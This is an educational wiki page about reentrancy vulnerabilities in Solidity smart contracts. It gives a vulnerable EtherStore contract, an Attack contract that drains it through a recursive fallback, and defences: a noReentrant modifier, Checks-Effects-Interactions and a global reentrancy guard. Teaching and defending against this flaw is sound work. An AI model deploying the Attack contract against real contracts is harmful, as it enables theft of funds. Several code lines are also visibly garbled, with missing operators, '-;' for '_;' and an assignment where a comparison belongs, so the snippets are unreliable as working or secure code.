Reentrancy

From WEB3 Vulnerapedia
Jump to navigation Jump to search

Reentrancy type of attacks occur when a vulnerability in a smart contract allows a malicious contract to reenter the contract unexpectedly during execution of the original function. Which can then be used to drain funds from a smart contract if used maliciously. Reentrancy is one of most impactful vulnerabilities in terms of total loss of funds by smart contract hacks.

Types of Reentracy vulnerabilities

Single Function Reentrancy

Cross Function Reentrancy

Cross Contract Reentrancy

Cross Chain Reentrancy

Read Only Reentrancy

Tokens Reentrancy

Introduction

What is a reentrancy attack and how to prevent it.

ContractA can call ContractB. The basic idea of reentrancy is ContractB is able to call back to ContractA while ContractA is still executing.

Smart contracts can interact with other smart contracts, like in this case ContractA can call ContractB. And the very basic idea of reentrancy is ContractB is able to call back to ContractA while ContractA is still executing. The ContractA which has 10 Ethers and ContractB has stored 1 Ether in ContractA. In this case, ContractB will be able to use the withdraw function from ContractA and send Ether back to itself as it passes the check where its balance is greater than 0, to then have its total balance modified to 0.

ContractB uses reentrancy to exploit the withdraw function and steals all the Ethers from ContractA.

ContractB can use reentrancy to exploit the withdraw function and steal all the Ethers from ContractA. Basically, the attacker is going to need two functions: attack() and fallback().

In Solidity, a fallback function is an external function with neither a name, parameters, or return values. Anyone can call a fallback function by: Calling a function that doesn’t exist inside the contract; Calling a function without passing in required data; Sending Ether without any data to the contract.

The way reentrancy works is with the attacker calling the attack() function which inside is calling the withdraw() function from ContractA. Inside the function it will verify if the balance of ContractB is greater than 0 and if so it will continue the execution.

Reentrancy-03.png

ContractB’s balance is greater than 0, it sends that 1 Ether back and it triggers the fallback function. Notice that at this moment ContractA has 9 Ethers and ContractB has already 1 Ether.

Reentrancy4.png

When fallback function gets executed it triggers again ContractA’s withdraw function, checking again if ContractB’s balance is greater than 0. If you check again the image above you will notice that its balance is still 1 Ether.

Reentrancy5.png

That means that the check passes and it sends another Ether to ContractB, which triggers the fallback function. Notice that since the line where “balance=0” never gets executed will continue until all Ether from ContractA is gone.

Example

Smart contract with reentrancy in the Solidity code.

contract EtherStore {
    mapping(address  uint) public balances;


    function deposit() public payable {
        balances [msg.sender] += msg.value;
    }

    function withdrawAll() public {
        uint bal = balances [msg.sender];
        require(bal > 0);

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");

        balances[msg.sender] = 0;
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

In EtherStore contract the function deposit() that stores and updates the balances of the sender and then the withdrawAll() function that will take all the balance stored at once. Notice the implementation of withdrawAll() where it checks first with the require that the balance is greater than 0 and right after sends the Ether, leaving for the end the update of the sender’s balance to 0.

contract Attack {
    EtherStore public etherStore;

    constructor(address _etherStoreAddress) {
        etherStore = EtherStore(_etherStoreAddress);
    }

    // Fallback is called when EtherStore sends Ether to this contract.
    fallback() external payable {
        if (address(etherStore).balance  1 ether) {
            etherStore.withdrawAll();
        }
    }

    function attack() external payable {
        require(msg. value  1 ether);
        etherStore deposit{value: 1 ether}();
        etherStore.withdrawAll();
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Here the contract Attack that is going to use the reentrancy to drain EtherStore contract. Let’s analyse its code:

  • In its constructor the attacker will pass the EtherStore address in order to create an instance and so being able to use its functions.
  • There the fallback() function which is going to be called when EtherStore sends Ether to this contract. Inside it will be calling withdraw from EtherStore as long as the balance is equal or greater than 1.
  • And inside the attack() function the logic that will be exploiting EtherStore. First the attack will be initiated by making sure there is enough ether, then deposit 1 ether in order to have a balance greater than 0 in EtherStore and passing the checks before starting to withdraw.

Summary

Attacker will call attack(), which inside will call withdrawAll() from EtherStore, which then will send Ether to Attack contract’s fallback function. And there it will start the reentrancy and drain the EtherStore’s balance.

Prevention

There are three prevention techniques to fully protect smart contracts.

  • Reentrancy in a single function
  • reentrancy cross-function
  • reentrancy cross-contract

Reentrancy in a single function

First technique to protect a single function is using a modifier called noReentrant.

bool internal locked;

modifier noReentrant() {
    require !locked, "No re-entrancy");
    locked = true;
    _;
    locked = false;
}

A modifier is a special type of function that you use to modify the behavior of other functions. Modifiers allow you to add extra conditions or functionality to a function without having to rewrite the entire function.

The contract is locked while the function is executed. It won’t be able to reenter the single function since it will need to go through the function’s code and then change the locked state variable to false in order to pass again the check done in the require.

Checks-Effects-Interactions pattern

The second technique is by making use of Checks-Effects-Interactions pattern which will protect our contracts from cross-function reentrancy.

contract EtherStore {
    mapping(address  uint) public balances;

    function deposit() public payable {
        balances [msg.sender] += msg.value;
    }

    function withdrawAll() public noReentrant {
        uint bal = balances Imsg. sender];
        require (bal > 0);

        balances [msg.sender] = 0;

        (bool sent, ) = msg.sender.call{value: bal}("");
        require(sent, "Failed to send Ether");
    }

    function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

Comparison

Vulnerable code where the balance was updated after sending the Ether, which as seen above could potentially never be reached.

uint bal = balances [msg.sender];
require (bal > 0);

(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");

balances[msg.sender] = 0;

Bellow the balances[msg.sender] = 0 (or effect) right after the require(bal > 0) (check) but before sending ether (interaction). If another function is accessing withdrawAll(), the contract will be protected from the attacker because the balance will always be updated before sending the Ether.

uint bal = balances[msg.sender];
require(bal > 0);

balances [msg.sender] = 0;

(bool sent, ) = msg.sender.call{value: bal}("");
require(sent, "Failed to send Ether");

The balances[msg.sender] = 0 (or effect) was moved right after the require(bal > 0) (check) but before sending ether (interaction).

If another function is accessing withdrawAll(), the contract will be protected from the attacker because the balance will always be updated before sending the Ether.

The comparison between the vulnerable code from the image on the left where the balance was updated after sending the Ether, which as seen above could potentially never be reached, and on the right what it has been done is to move the balances[msg.sender] = 0 (or effect) right after the require(bal > 0) (check) but before sending ether (interaction).

If another function is accessing withdrawAll(), this contract will be protected from the attacker because the balance will always be updated before sending the Ether.

abstract contract GlobalReentrancyGuard {
    uint256 private constant NOT_ENTERED = 0;
    uint256 private constant ENTERED = 1;

    DataStore public immutable dataStore;

    constructor(DataStore _dataStore) {
        dataStore = _dataStore;
    }

    modifier globalNonReentrant() {
        _nonReentrantBefore();
        -;
        _nonReentrantAfter();
    }

    function _nonReentrantBefore() private {
        uint256 status = dataStore.getUint(Keys.REENTRANCY_GUARD_STATUS);

        require(status = NOT_ENTERED, "ReentrancyGuard: reentrant call");

        dataStore.setUint(Keys.REENTRANCY_GUARD_STATUS, ENTERED);
    }

    function _nonReentrantAfter() private {
        dataStore. setUint(Keys.REENTRANCY_GUARD_STATUS, NOT_ENTERED);
}

The third technique is creating the GlobalReentrancyGuard contract to protect from cross-contract reentrancy. It is important to understand that this is applicable for projects with multiple contracts interacting with each other.

The idea here is the same as in the noReentrant modifier I have explained in the first technique, it enters the modifier, updates a variable to lock the contract and it doesn’t unlock it until it doesn’t finish the code. The big difference here is a variable is used to store in a separate contract which is used as the place to check if the function was entered or not.


Example with function names and without code for reference.

contract ScheduledTransfer () {

  // It allows the user to specify the date and time
  // to execute a transfer
  function createScheduledTransfer {
      // creates the Transfer()
      // establishes the date and time to execute
      // adds a condition that if/when met will trigger
    executeScheduledTransfer();
}

  function executeScheduledTransfer() {
     // here will be sending the Ether specified in the transfer
  }
}
contract CancelScheduledTransfer() {
  // this would have the power to cancel the
  // scheduled transfer created in ScheduledTransfer contract
  function cancelTransfer() {}
}
contract AttackTransfer() {

  fallback() external payable {
    // here after checking the balances available
    // in the Transfer created in ScheduledTransfer contract
    // it could cancel the transfer
    cancelScheduleTransfer.cancelTransfer();
  }

  function attack() {
    scheduledTransfer.createScheduledTransfer();
  }
}

The attacker can call the function in ScheduledTransfer contract which after meeting the conditions will send the specified Ether to the AttackTransfer contract which will, enter the fallback function and “cancel” the transaction from the ScheduledTransfer contract’s point of view and yet receive the Ether. It would be starting a look until draining all Ethers from ScheduledTransfer.

Using the GlobalReentrancyGuard will avoid such attack scenario.

Additional resources

Sources

https://medium.com/@bloqarl/solidity-vulnerabilities-1-reentrancy-attacks-lets-understand-them-and-prevent-them-f6db8dc604de